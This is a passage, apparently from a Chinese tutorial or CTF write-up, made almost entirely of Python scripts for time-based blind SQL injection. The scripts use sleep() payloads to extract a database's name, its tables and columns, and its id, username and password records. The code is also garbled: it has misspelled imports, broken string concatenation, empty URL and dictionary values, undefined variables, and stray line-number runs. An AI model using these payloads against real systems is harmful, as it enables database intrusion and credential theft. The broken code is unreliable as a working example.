#payload: and if ((substr(database(),num,1)),sleep(3),1) for i in range(1,8): for char in dic: url="" payload=" and if ((substr(database(),'"+str(i)+"',1))="+ char +",sleep(3),1)" url = url + payload #print(url)
try: #可能存在异常 requests.get(url=url,timeout=3) #等于3秒 except requests.exceptions.ReadTimeout as e : #超过三秒 flag= flag + char print(flag)
爆表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import reuqests dic=""
for table_num in range(0,2): flag="" for char_num in range(1,11): for char in dic: url="" payload= and if((substr((select table_name from information_schema.tables where table_schema=database() limit "+str(table_num)+",1),"+str(char_num)"+,1)='"+char+"'),sleep(3),1) url=url+payload try: r=reuqests.get(url=url,timeout=3) except: flag+=char print(flag) print('table_name'+flag)
爆字段名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
import requests
dic=""
for column_num in range(0,3):#三个字段名 flag="" for char_num in range(1,11) for char in dic: url= payload=" and if((substr((select column_name from information_schema.columns where table_name='security' limit "+str(column_num)+",1),"+str(char_num)+",1)='"+char+"'),sleep(3),1)" url+=payload try: r=requests.get(url=url,timeout=3) except: flag+=char print(flag) print('column_num:'+flag)
爆id,username,password数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requests
dic=""
for item in ['id','username','password']: for i in range(1,51):#长度50 for char in dic: url="" payload=" and if(substr((select "+item+" from security limit "+str(record_num)+"),"+str(i)+",1)='"+char+"',sleep(3),1)" url=url+payload try: r=requests.get(url=url,timeout=3) except: flag+=char print(flag)